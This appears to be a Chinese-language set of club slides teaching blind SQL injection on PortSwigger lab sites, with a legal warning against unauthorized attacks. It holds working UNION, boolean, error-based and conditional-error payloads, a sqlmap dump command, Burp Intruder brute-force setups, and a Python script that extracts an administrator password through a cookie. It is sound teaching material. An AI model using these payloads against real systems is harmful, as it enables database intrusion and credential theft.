Blind SQL Injection
whoami
-
fallnight
-
資工三甲
-
113 屆 會長
-
女婕思

Outline
-
回憶 SQLi 課程
-
資料庫版本
-
Lab 0x1、0x2 + Bonus*2
-
-
Blind SQLi
-
Lab 0x3 ~ 0x7
-
法律聲明
- 中華民國刑法
- 第 三十六 章 妨害電腦使用罪

今日課程僅針對 PortSwigger 平台提供的練習環境進行攻擊
請勿隨意對未經授權的系統進行攻擊,不要以身試法 !
登入 / 註冊帳號
or
找回密碼 QwQ
回憶 資料與資料庫之間的關係

使用者
回憶 資料與資料庫之間的關係
- 一個 資料庫管理系統 (Database Management System, DBMS) 會有很多 資料庫 (database)
- 資料庫 會有很多 資料表 (table)
- 資料表 會有很多 欄位 (column)
- 欄位 對應很多 資料 (row/record)
- 資料表 會有很多 欄位 (column)
- 資料庫 會有很多 資料表 (table)
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
資料庫
資料表
存放的 "資料"
回憶 SQL 語法
- 假設購物網站有個資料庫裡有個 Users 資料表
- 如果想要得到 Peter 的帳號和密碼,應該如何下查詢語句?
- 從 資料表 選取 符合條件的 欄位下的資料
SELECT account, password FROM Users WHERE name='Peter'
→ 從 Users 資料表,選取 name 為 "Peter" 的 accout 和 password 資料
| name | account | password |
|---|---|---|
| Peter | abc123 | 12345 |
| Ivy | ivy789 | au4a83 |
| account | password |
|---|---|
| abc123 | 12345 |
Users :
回憶 SQL Injection
-
常見類型
-
Retrieving Hidden Data (檢索隱藏資料)
-
Subverting Application Logic (影響應用程式邏輯)
-
UNION Attack (UNION 攻擊)
-
Examining The Database (檢查資料庫)
-
Blind SQL Injection (SQL 盲注入)
-
Retrieving Hidden Data
-
檢索隱藏資料
-
取得原本看不到的網站資料
-
ex. 查詢購物網站中 "未上架的商品"
-

Subverting Application Logic
-
影響應用程式邏輯
-
ex. 登入時,在帳號後方閉合單引號 ' 後加入註解 -- ,繞過密碼驗證,成功登入目標帳號
-



UNION Attack
-
UNION 攻擊
-
透過 UNION 語法,讓資料庫執行額外的 SELECT 查詢語句
-
ex. 取得帳密 ' UNION SELECT username, password FROM users--
-


回憶 SQL Injection
-
常見類型
-
Retrieving Hidden Data (檢索隱藏資料)
-
Subverting Application Logic (影響應用程式邏輯)
-
UNION Attack (UNION 攻擊)
-
Examining The Database (測試資料庫)
-
Blind SQL Injection (SQL 盲注入)
-
}今日主題 !
Examining The Database
-
不同的 資料庫管理系統 (DBMS) 在語法上會有差異
-
在攻擊前,可以先檢查網站所使用的 DBMS 為何,排除語法問題導致的錯誤
-
常見關聯式資料庫管理系統有 Oracle、Microsoft SQL Server、PostgreSQL、MySQL
-
Relational Database Management System (RDBMS)
-
以 表格 的形式儲存資料
-
另有 非關聯式資料庫 (NoSQL),不限定為表格形式,ex. MongoDB, Redis 等
-
不同資料庫管理系統,有不同的語法
-
PortSwigger 官方有提供速查表
https://portswigger.net/web-security/sql-injection/cheat-sheet -
使用 -- 的註解方式時,最好在後方加個空格後再隨便加個符號,避免註解失敗
-
ex. --+ 或 -- //
-
印出版本資訊的語法
| DBMS | 查詢語法 |
|---|---|
| Oracle | SELECT banner FROM v$version |
| Microsoft (MS SQL) | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
-
結合 UNION SELECT,讓網站印出自己的資料庫版本
-
看看該版本是否有已知的 CVE 漏洞可以利用
Lab 0x1
-
將版本查詢語法與 UNION SELECT 結合,讓網站印出版本資訊,即可解開這題 lab

Lab 0x1
-
隨便點擊一個搜尋詞條
-
發現網站上方的網址多了 GET 參數
?category=Accessories

Lab 0x1
-
測試欄位數量 (p.s. 註解 -- 要確保後面有空格,否則可能會出錯,所以使用
--+
……直到沒有錯誤 -
在網址參數後方加入 Payload ,並送出新的網址
' UNION SELECT NULL--+' UNION SELECT NULL, NULL--+' UNION SELECT NULL, NULL, NULL--+

URL encode
Lab 0x1
-
測試 是否只有一個欄位
-
回應錯誤,表示欄位數量不是 1

' UNION SELECT NULL--+
-
測試 是否有兩個欄位
-
沒有出現錯誤,表示有兩個欄位
' UNION SELECT NULL, NULL--+Lab 0x1
Lab 0x1
-
結合 MySQL 的版本查詢語法
-
修改 UNION SELECT 的原始查詢語法
-
兩個欄位都是字串型態,在哪個欄位查詢都能成功
' UNION SELECT NULL, NULL--+SELECT @@version' UNION SELECT NULL, @@version--+' UNION SELECT @@version, NULL--+
Lab 0x2

-
隨便點擊一個搜尋詞條
-
發現網站上方的網址多了 GET 參數


?category=GiftsLab 0x2
-
在網址的參數後方加入 payload
-
依序測試資料表的欄位數量
-
Oracle 的 SELECT 必須使用 FROM 指定查詢的資料表
-
改用 ORDER BY
……直到發生錯誤 -
開始出錯 → 有兩個欄位
' ORDER BY 1--+
' ORDER BY 2--+
' ORDER BY 3--+' ORDER BY 3--+Lab 0x2


-
結合 Oracle 的版本查詢語法
-
修改 UNION SELECT 的原始查詢語法
-
兩個欄位都是字串型態,在哪個欄位查詢都能成功
' UNION SELECT NULL, NULL FROM v$version--+SELECT banner FROM v$version' UNION SELECT NULL, banner FROM v$version--+' UNION SELECT banner, NULL FROM v$version--+Lab 0x2

補充 DUAL 空表
-
在 Oracle、MySQL、MS SQL 中,系統有預設「空表 (DUAL)」
- Oracle 必須加上 FROM 指定要查詢的資料表,才能正確執行查詢
- 這時可以使用 DUAL 搭配 UNION SELECT 查詢欄位數量

SELECT * FROM DUALBouns 列出資料庫內容
Bouns 列出資料庫內容
-
查詢語法為 先找資料表名稱,再看資料表內容
-
Oracle
-
Microsoft SQL Server
-
PostgreSQL
-
MySQL
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE NAME-HERE'SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'p.s. 語法內容來自 101 學姊的整理
Bouns 列出資料庫內容 - 非 Oracle
-
先確認欄位數量 → 沒報錯 → 有兩欄
-
查詢這裡有什麼資料表名稱
' UNION SELECT table_name, NULL FROM information_schema.tables--+' UNION SELECT NULL, NULL--+
Bouns 列出資料庫內容 - 非 Oracle
-
出現很多資料表,一個個看帳密可能藏在哪
-
ex. 查看這個可疑資料表 users_fbfexu 有什麼樣的欄位名稱
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_fbfexu'--+
Bouns 列出資料庫內容 - 非 Oracle
-
查看特定資料表中的特定欄位的內容
-
發現帳密! 登入後即可完成這題
' UNION SELECT username_qunpaq, password_cvitji FROM users_fbfexu--+
Bouns 列出資料庫內容 - Oracle
-
確認有兩個欄位後
-
查看有什麼樣的資料表名稱
' UNION SELECT table_name, NULL FROM all_tables--+
Bouns 列出資料庫內容 - Oracle
-
這次用 sqlmap 去找找看
-
打開 kali 的 終端機使用以下指令
URL要換成 lab 的網址session=...這裡的 … 需要換成自己的網站 session--dbms=Oracle指定資料庫為 Oracle--dump導出資料--exclude-sysdbs自動跳過內建的多個系統資料表 (為Oracle 而用)--batch在詢問 yes/no 時,自動選擇預設選項
sqlmap -u "URL" --cookie="session=..." --dbms=Oracle --dump --exclude-sysdbs --batchBouns 列出資料庫內容 - Oracle
-
等待 sqlmap 跑出結果...
-
最終拿到帳密!

Blind SQL Injection
-
SQLi → 資料庫會把資料整個印出來
-
Blind SQLi → 資料庫只會給反應,我們看不到資料內容,要去猜他查到的資料是什麼

SQLi
注入查詢後直接噴出帳密的查詢結果
Blind SQLi
注入後,不會直接顯示資料庫查詢結果
但會反應注入的查詢結果為 True / False



Blind SQL Injection
-
分為兩個類型 :
- Boolean-based
-
True → 網頁多出一行字(如:Welcome back!)
-
False → 網頁少了一行字
-
-
Time-based
- True → 網頁延遲一段時間 (ex. 5秒、10秒),才加載出來
-
False → 網頁照常,很快就加載完成
- Boolean-based
Lab 0x3 觸發條件回應
-
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
-
資料庫中有一個叫 "users" 的資料表,其中包含 "username" 與 "password" 欄位
-
找到 username 為 "administrator" 的密碼,並登入他的帳號
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| username | password |
| administrator | od45f1 |
| wiener | as54d8 |
| carlos | f4d6s2 |
資料庫
資料表
紀錄的 "資料"
Lab 0x3
-
修改 Cookie 中 TrackingId 的值,在這邊注入攻擊

Lab 0x3
-
可以猜測後端處理 Cookie 中的 TrackingId 值的語法為 :
-
簡單在 TrackingId 值的後方加個 單引號
'
- 會多出一個未閉合的單引號
'→ 造成語法錯誤,預期它會出錯
- 會多出一個未閉合的單引號
- 再加上註解
--+
- 將多出的單引號註解掉了 → 解決了語法錯誤,預期它不會出錯
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值'Payload 注入的位置
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值''注入後的 Payload
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值'--+'注入後的 Payload
原本的 ' 被擠到外面了
Lab 0x3
- 先簡單測試注入一個單引號
' - "Welcome back!" 消失了 → 注入的內容被資料庫當成了程式碼的一部分執行,說明後端存在漏洞


Lab 0x3
- 試試再加上註解
'--+ - "Welcome back!" 又出現了 → 語法修正後,資料庫又能正常運行了


Lab 0x3
- 到這裡可以確定
- 網站後端的資料庫管理系統 (DBMS) 存在 SQL 漏洞
- 當注入的 Payload 造成錯誤時,"Welcome back!" 會消失
- 沒有造成錯誤時,網頁會正常顯示 "Welcome back!"
- 接下來的目標: 嘗試加入額外的
SELECT查詢,最終讓我們知道密碼是什麼


Lab 0x3
-
直接加上 SELECT ?
-
WHERE後方沒辦法接一個獨立的SELECT查詢語句 -
會因為 語法錯誤 而沒看到 "Welcome back!" → 不代表這個資料不存在
-
-
用
AND就可以額外加上一個SELECT查詢,並進行條件式判斷,得到 True / False 兩種結果
注入的 Payload
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值' SELECT password FROM users WHERE username='administrator'--+'原有的查詢語句

Lab 0x3
- 測試加上
AND後,能不能顯示 True / False 兩種結果- TrackingId=XXX
AND前面的條件式因為有查到 TrackingId 的值,所以會是 True-
AND後方條件為 True
→ 網頁顯示 "Welcome back!"
-
TrackingId=XXX
-
AND後方條件為 False,網頁不會顯示 "Welcome back!"
-
- TrackingId=XXX
' AND '1'='2'--+' AND '1'='1'--+SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值'Payload 注入的位置
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值' AND '1'='1'--+'注入後的 Payload
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值' AND '1'='2'--+'Lab 0x3
AND後方條件為 True 時,網頁會顯示 "Welcome back!"
' AND '1'='1'--+
Lab 0x3
AND後方條件為 False,"Welcome back!" 消失
' AND '1'='2'--+
Lab 0x3
- 得知
AND可以用之後,加入SELECT查詢語句 - 確認 users 資料表是否真的存在,且裡面有 username 為 administrator 的使用者
- Payload :
- 若有符合 WHERE 條件的資料,SELECT '1' 就會回傳字元 1
- '1' = '1' → 顯示 "Welcome back!"
- 若查詢找不到資料,則不會顯示 "Welcome back!"
→
' AND (SELECT '1' FROM users WHERE username='administrator')='1'--+
Lab 0x3
- "Welcome back" 有出現
→ users 資料表確實存在,且裡面確實有 username 為 administrator 的使用者

Lab 0x3
- 確認資料真實存在後,開始找密碼 !
- 沒辦法直接讓網頁印出密碼是什麼
→ 慢慢拼出密碼- 找出密碼有幾位
- LENGTH( ) → 資料的長度
- 找每一位密碼是什麼
- SUBSTRING (欄位名稱, 起始位置, 長度)
→ 一位一位的猜每一位密碼各自是什麼,最後再組合成完整的密碼
- SUBSTRING (欄位名稱, 起始位置, 長度)
- 找出密碼有幾位
Lab 0x3
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>5--+-
測試密碼長度
-
Payload :
-
SELCECT密碼長度 -
原本 (
SELECT 1) 的 '1' = '1' 條件式,改成 密碼長度 是否大於 5
-
-
先簡單挑個誇張的數字,測試 Payload 會出現 True / False 兩種結果,再開始找密碼長度
- 長度 > 1 → 出現 "Welcome back!" → 實際密碼長度大於 1
-
長度 > 50 → "Welcome back!" 沒有出現 → 實際密碼長度不大於 50
Lab 0x3
- 不斷改變數字,找出密碼長度 !
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>5--+
修改這裡
Lab 0x3
- 把 大於 > 改成 等於 =
- 確認找到的密碼長度是否正確
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')=20--+
Burp Suite 自動找長度
- 在 HTTP history,選取根目錄的請求封包後對它按右鍵,選擇 "Send to Intruder"
- 上方欄位選 Proxy 旁邊的 Intruder

Burp Suite 自動找長度
- 上方選單為 "Sniper attack" 模式 → 代表只針對一個值做爆破測試
- 將判斷長度的 Payload 貼到 Cookie 的 TrackingId 後方
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>1--
Burp Suite 自動找長度
- 反白選取原本需要手動替換、爆破測試的值
- 按上方 Position 的 Add§,確保要替換的值有被
§前後包起來 - 右邊側邊欄開啟 Payloads,設定各項參數如圖 :


Burp Suite 自動找長度
- Payload 是正在測試的長度
- 透過回應長度 Length
→ 判斷是否有出現 "Welcome back!" - 到 20 長度減少
→ 少了 "Welcome back!" 而減少
→ 得知密碼長度就是 20 - 下方 Reponse 的 Render
可以看到回應的網頁長什麼樣子

Lab 0x3 確認密碼內容
SELECT SUBSTRING(password, 3, 1)-
SUBSTRING(欄位名稱, 起始位置, 長度) - 提取密碼字串中的子字串 (一個字元)
- ex. 抓取 password 欄位資料的第 3 位開始的 1 個字元,也就是密碼的第三位字元
-
WHEREusername='administrator'為查詢加上條件- 只看 欄位 username 為 administrator 這列的 password
- SELECT 會查詢整串密碼中的一個字元
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+| username | password |
| administrator | od45f1 |
| wiener | as54d8 |
| carlos | f4d6s2 |
Lab 0x3 確認密碼內容
> 'm'- 判斷查詢的這個密碼的 ASCII 是否大於 m
AND- 條件式判斷,已知前面的 TrackingId 是 True
- 若後方的條件正確/錯誤,則網頁回應正確/錯誤
- 最前面的單引號
'閉合前面的 TrackingId
-
--+- 把後面原有的後端 SQL 程式碼註解掉,避免發生語法錯誤
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+Lab 0x3 確認密碼內容
- 確認 Payload 能否回應 True / False 兩種結果
- 密碼的可能性是 0~9、a~z
- ASCII 最小的是 0 → 48,最大的是 z → 122
- True → 第三位密碼是否大於 0
- False → 第三位密碼是否大於 z
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+修改這裡


Lab 0x3 確認密碼內容
- 第三位密碼是什麼 ?
- 用 ASCII 判斷猜測是否正確,逐漸縮小範圍
- ex. 第三位密碼為 'c' (ASCII: 99),開始猜:
- c 是否大於 p (ASCII: 112) → 否,縮小數字
- c 是否大於 5 (ASCII: 53) → 是,得知密碼範圍在 5 ~ p 之間
- c 是否大於 9 (ASCII: 57) → 是,密碼不是數字,範圍在 a ~ p 之間
- c 是否大於 e (ASCII: 101) → 否,縮小數字
- c 是否大於 c (ASCII: 99) → 否,縮小數字
- c 是否大於 b (ASCII: 98) → 是
- ex. 第三位密碼為 'c' (ASCII: 99),開始猜:
- 再換第二位密碼重複這個流程,直到確認每一位密碼是什麼
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+}得知第一位密碼是 c !
修改這裡
- 比暴力破解快
- 但需要手動調位數 (20次)
- Burp Suite 幫忙一個個測試 0~9、a~z ,找到即停止
- Payload 的判斷從 大於 改成 等於,直接問這位密碼是否是某個字元
Burp Suite 半自動找密碼
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') = 'm'--+Burp Suite 會依序替換這裡的字元
手動替換密碼位數
- 修改 TrackingId 後方的 Payload (要保留原有的 TrackingId)
- 選取 m ,按左上角的 Add §,讓 Burp Suite 自動替換這裡的字元
Burp Suite 設定步驟


- 右方側邊欄 Payloads
- Payload type 選擇 Simple list
- 複製 0~9、a~z 的清單 →
- 按 Paste 貼上
Burp Suite 設定步驟

0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z- 不想手打 a~z、0~9 的清單?
- Payload type 選擇 Brute forcer
- 下方可以直接選 abc...xyz012...789
- Min / Max length 都選 1
- 生成長度為 1 的排列組合
= a~z、0~9 的每個字元
- 生成長度為 1 的排列組合
補充

- 右方側邊欄改成 Settings (往下滑)
- Auto-pause attack
- 自動暫停攻擊
- 當回應出現指定字串,就暫停任務
- 不再發送後續的 Payload
- 節省時間與資源
- Paste 貼上 "Welcome back"
- 或用 Add 手打
Burp Suite 設定步驟

- 右方側邊欄改成 Settings (再往下滑)
- Grep - Match
- 匹配標記
- 不會影響任務進行或暫停
- 會在結果清單新增設定的特徵詞欄位
- 若回應內容有匹配的特徵詞,
就可以在結果清單看到,也可用排序功能 - 輔助結果分析
- 預設包含多個特徵詞,按 Clear 清除
- Paste 貼上 "Welcome back"
- 或用 Add 手打
Burp Suite 設定步驟


Burp Suite 半自動成果 (第1位密碼)


Burp Suite 半自動成果 (第2位密碼)
- 全自動跑密碼,但耗時最久
- 真 • 暴力破解
- ex. 第一位密碼是否是 a、第二位密碼是否是 a、第三位密碼是否是 a ... 第二十位密碼是否是 a
第一位密碼是否是 b、第二位密碼是否是 b、第三位密碼是否是 b ... 第二十位密碼是否是 b
- ex. 第一位密碼是否是 a、第二位密碼是否是 a、第三位密碼是否是 a ... 第二十位密碼是否是 a
- 總共會跑 20 位密碼 × 36 種可能 = 720 種要嘗試的排列組合
Burp Suite 自動找密碼
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'--+Payload 2
依序替換字元
Payload 1
依序替換密碼位數
- Payload position 1 - 1
- Payload type 選 Numbers
- 對應密碼的第1 ~ 20位
Burp Suite 設定步驟

- Payload position 2 - a
- Payload type 選 Simple list
- Paste 貼上清單 →
Burp Suite 設定步驟

0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z- 以 Length 排序
將找到的密碼靠前 - 過了 20 分鐘
才做一半不到 - 只適合較小的組合量
Burp Suite 自動成果

Python 腳本 自動找密碼
- 不用手動又更快破解的方法
- 剛剛在手動找密碼的過程是可以用程式自動化去跑的
- 其實就是 二分搜尋 (二分法)
- 一種搜尋演算法
- 詢問是否大於某數,得到 True / False 兩種結果
→ 修改可能的範圍,直到範圍的上限下限相同,就找到了那位字元是什麼
- 其實就是 二分搜尋 (二分法)
- 讓程式用 二分法 找密碼
- 可能性有 0~9 和 a~z
- ASCII: 最小 '0' → 48 、 最大 'z' → 122
- 初始範圍 48 ~ 122
→ 透過 True / False 的結果,不斷縮小範圍
初始上限: 122
初始下限: 48
Python 腳本 自動找密碼
- 程式在做二分法、改變範圍的邏輯 :
- 計算範圍的中間值 (48+122) / 2 = 85
- Payload 判斷這位密碼是否大於 85
- "是",網頁回應會出現 "Welcome back!"
- 修改範圍的最小值,改成中間值 85 + 1,提高下限
- "否",網頁不會出現 "Welcome back!"
- 修改範圍的最大值,改成目前的中間值 85,降低上限
- "是",網頁回應會出現 "Welcome back!"
初始上限: 122
初始下限: 48
中間值: 85
初始上限: 122
初始下限: 48
新範圍
86 ~ 122
新範圍
48 ~ 85
Python 腳本 自動找密碼
- requests 模組
- 讓程式可以去連線網站、發送請求
- requests.get(url, cookies=cookies)
- 對 lab 網址 (url) 發送請求,並將 cookies 設定為帶有 payload 的 cookies
- try ... except ...
- 嘗試 (try) requests 連線,如果失敗 (except) 就跳出迴圈並印出錯誤訊息
- response.text
- 網頁回應的原始碼
- 直接找這裡有沒有 "Welcome back" 來判斷注入是否成功
Python 腳本 自動找密碼
import requests
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
password_length = 20
password = ""
for i in range(1, password_length + 1):
# lab 的提示有說密碼是由數字 (0-9) 與小寫字母 (a-z) 組成
# 以 ASCII 計算二分法
# 最小是 '0' -> 48,最大是 'z' -> 122
low = 48
high = 122
# 開始二分法的迴圈
while low < high:
mid = (low + high) // 2 # 取中間值
mid_char = chr(mid) # 將 ASCII 數字轉回字元
# 這裡的查詢語法是在確認正確密碼的這位字元是否大於 mid_char?
payload = f"{tracking_id}' AND (SELECT SUBSTRING(password,{i},1) FROM users WHERE username='administrator') > '{mid_char}"
# cookies 由 session 與 TrackingId 組成
cookies = {
'TrackingId': payload,
'session': session_id
}
# 發送帶有完整 cookie 的請求
try:
response = requests.get(url, cookies=cookies)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
# 透過回應修改二分法的範圍
if "Welcome back!" in response.text:
# 如果回應內容中帶有 "Welcome back!"
# 表示正確密碼的這位字元「大於」中間值,所以提高下限
low = mid + 1
else:
# 沒有 "Welcome back!" 表示正確密碼的這位字元「小於或等於」中間值,所以降低上限
high = mid
# 當 while 迴圈結束時,low 會等於 high,也就是正確密碼的這位字元的 ASCII
found_char = chr(low) # 將 ASCII 數字轉回字元
password += found_char # 加入最終密碼的字串
print(f"已找到第 {i} 位密碼為: {found_char}")
# 正確密碼的 20 位都已找到
print(f"\n最終完整密碼為: {password}")
Lab 0x3 End

- 透過腳本找到完整密碼
- 登入 administrator 的帳號就能解開這題
小結
- 找密碼的方法很多
- 手動慢慢輸,理解運作原理
- 使用工具
- Burp Suite
- 不用自己寫程式,但不夠靈活,等待時間長
- 推薦在排列組合不多的情況下使用
- Python 腳本
- 可以使用各種搜尋演算法,大幅提升破解速度
- 會需要處理程式語法上的 bug 或者連線問題等,攻擊以外的問題
- Burp Suite
小結 - 攻擊流程
- 先找可以注入的地方 (entry point)
- 列舉網站後端的 DBMS 版本,ex. Oracle、Microsoft SQL Server、PostgreSQL、MySQL
-
- Fuzz attack : 用腳本或工具,自動化測試字典檔的每個 Payload
- 設定條件
- ex. ' AND '1'='1'--+ / ' AND '1'='2'--+
- 驗證 DBMS 回應條件 True / False 的方式
- 嘗試列舉 Database、table
- 注入 Payload 查詢機密資料
- 找密碼
- LENGTH() 找密碼長度
- SUBSTRING() 將密碼拼出來
- 找密碼
觸發錯誤訊息
-
不論查詢成功與否都不會在網站上有任何顯示
-
透過強制讓後端觸發邏輯錯誤、產生錯誤訊息,來推斷資訊、提取資料
-
提取詳細錯誤資訊 → Lab 0x4
-
觸發條件式錯誤 → Lab 0x5
Lab 0x4
-
提取詳細錯誤資訊
-
直接從錯誤資訊中取得敏感資料
-
透過特定的 資料庫函數 或 語法錯誤
-
將想要得到的敏感資訊作為參數傳入這些函數中
-
讓網站自己藉由錯誤訊息,印出敏感資訊
-
-
如果網站沒有妥善處理異常,這些包含敏感數據的錯誤訊息就會直接顯示
Lab 0x4
-
https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based
- 透過 Cookie 注入
- 找到 administrator 的密碼,並登入帳號
-
會發現網站直接在錯誤訊息印出了完整的查詢語句
-
可以透過這個方式得知 DBMS 的資訊、逐步修改 Payload,並直接拿到密碼
-

Lab 0x4
-
測試注入點
- 嘗試在原有的 TrackingId 值後方加上單引號
' - 錯誤訊息說 "有未中止的字串",表示有引號沒有結束,導致發生錯誤
- 嘗試在原有的 TrackingId 值後方加上單引號

Lab 0x4
-
後方加上註解,就沒有錯誤了
-
後端執行的 SQL 語句是 :
-
加上單引號
-
原有的單引號多出來了 → 導致錯誤
-
-
加上註解
-
注入的單引號閉合前面的 TracingId
-
原有的單引號被註解掉 → 不造成影響
-
SELECT * FROM tracking WHERE id = 'TrackingId的值'SELECT * FROM tracking WHERE id = 'TrackingId的值''SELECT * FROM tracking WHERE id = 'TrackingId的值'--'原有的 '
注入的 '
Lab 0x4
-
確認能否接上布林運算,方便未來改成惡意查詢
-
利用
AND連接額外的查詢 -
確認這樣是否會報錯
- 單引號 ' 前方是後端原有的查詢,因查詢成功 → True
- SELECT 1 會返回 1
- 1 = 1 條件式為 True
- 理論上
AND兩邊皆為 True,不會產生語法錯誤
- 測試發現沒有報錯,得知可以透過
AND加上查詢語句 →

' AND (SELECT 1)=1--+Lab 0x4
- 確認 users 資料表與 username 欄位是否存在
- 結果出現錯誤訊息 :
- "AND 兩邊的參數類型必須為布林值,不能是字元"
- 因
SELECT查詢回來的是字串,無法與 True/False 進行AND運算,而導致報錯

' AND (SELECT username FROM users)--+Lab 0x4
CAST()轉換型態,加入 Payload 中 :
- 讓查詢結果從 字串型態 變成 整數型態
- 結果依舊出現錯誤訊息 :
- "因未中止的字串而報錯" , 但明明已經用註解解決了 ?
- 實際上是因為 Payload 太長而被截斷了,導致最後的註解沒有出現

' AND CAST((SELECT username FROM users) AS int)--+Lab 0x4
- 試試看把與注入無關的 TrackingId 刪除,節省空間
- 結果還是有錯誤訊息 :
- "AND 應該要是布林結果,而非整數"
→ Payload 太長的問題解決了 - DBMS 無法直接將整數型態當作 True 去做 AND 運算
- "AND 應該要是布林結果,而非整數"

Lab 0x4
- 變成比較的條件式,在後面加上
=1結果一定是布林值 (True / False),滿足 AND 的語法- DBMS 可以繼續執行後面的查詢語法
- 結果出現錯誤訊息 :
- "子查詢回傳了多行資料",導致程式出錯

' AND CAST((SELECT username FROM users) AS int)=1--+Lab 0x4
- 加上
LIMIT 1限制查詢只返回一筆結果
- 錯誤訊息開始顯示資料庫內容 :
- username 欄位的第一筆資料,剛好就是題目要的 administrator
- 報錯原因 : DBMS 在執行
CAST()時,不知道怎麼強制把字串轉換成整數而報錯

' AND CAST((SELECT username FROM users LIMIT 1) AS int)=1--+Lab 0x4
- 已知 administrator 是 user 資料表的第一筆資料
- 從查詢 username 改成查詢 password,讓 DBMS 顯示 administrator 的密碼
- 結果成功顯示 administrator 的密碼 !

' AND CAST((SELECT password FROM users LIMIT 1) AS int)=1--+Lab 0x4 End
-
如果因為網頁回應錯誤而找不到登入的地方
-
把 TrackingId 的值全部刪掉,或只刪 Payload ,或把 Payload 改成註解
-
讓頁面不要報錯就能在右上角前往登入頁面
-
- 登入 administrator 的帳號,就能成功解開這題 !

Lab 0x5
-
觸發條件式錯誤
-
不論查詢結果如何,其回應內容都是 "伺服器錯誤 500"
-
DBMS 遇到無法處理的錯誤,將錯誤訊息傳給後端伺服器
-
伺服器在應對預期外的回覆時 :
-
開發者可以提前設定,引導前端跳出自訂的 404 錯誤提示,或者回傳至別的正常的網頁
-
若開發者沒有做任何處理,前端語言會依照預設的錯誤機制,回應 Internal Server Error 500
-
-
無法直接從錯誤訊息拿到密碼
-
-
透過設定條件,只有注入條件為真,才會觸發 DBMS 錯誤 ; 若條件為假,網頁會正常顯示
-
觀察網頁如何回應,慢慢修改 Payload
-

Lab 0x5
- https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
- 透過 Cookie 注入
- 找到 administrator 的密碼,並登入帳號
- 不會回應完整的錯誤訊息
- 透過是否回應 "伺服器錯誤",判斷注入條件為 True / False
-
CASE WHEN...THEN...ELSE...END-
當 條件為真 時,就執行 ... ,否則執行 ...
-
-
LENGTH() 找密碼長度 -
SUBSTRING() 找每一位密碼

Lab 0x5
-
測試注入點
-
在原有的 TrackingId 值後方加上單引號
'-
出現伺服器錯誤
-
- 再加上註解
'--+發現沒有出現錯誤了
-
確定可以透過錯誤回應進行攻擊


Lab 0x5
-
確認能否利用
AND連接額外的查詢-
理論上不會出錯
-
送出後遇到 "伺服器錯誤",但明明應該要正確?
-
-
可能是 DBMS 的語法問題
-
Oracle 在使用
SELECT時,必須加上FROM指定查詢的資料表-
Oracle、MySQL、MS SQL 有預設的「空表 (DUAL)」
-
-
為 Payload 加上
FROM DUAL
-
網頁正常回應
-
-
' AND (SELECT 1)=1--+' AND (SELECT 1 FROM DUAL)=1--+

Lab 0x5
-
設定條件語句
-
利用
CASE WHEN...THEN...ELSE...END- 當 注入條件為真,就要觸發伺服器錯誤,表達 "找到了正確的判斷 ! "
- 當 注入條件為真,就要觸發伺服器錯誤,表達 "找到了正確的判斷 ! "
-
-
WHEN1=1 是 True,會執行THEN1/0-
1/0 在數學上屬於未定義,程式因無法計算而報錯
-
-
出現了伺服器錯誤
-
-
改成
WHEN1=2 是 False,會執行ELSE1-
沒有出現錯誤
-
1=1 ,條件正確,沒有出現錯誤
-
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 1 END FROM DUAL)=1--+' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END FROM DUAL)=1--+Lab 0x5
-
確認 users 資料表和 administrator 使用者是否存在
-
將
FROM DUAL查詢空表,改成查詢 users 資料表 -
加上
WHERE指定查詢 username 欄位為 administrator 的資料
-
-
網頁報錯了
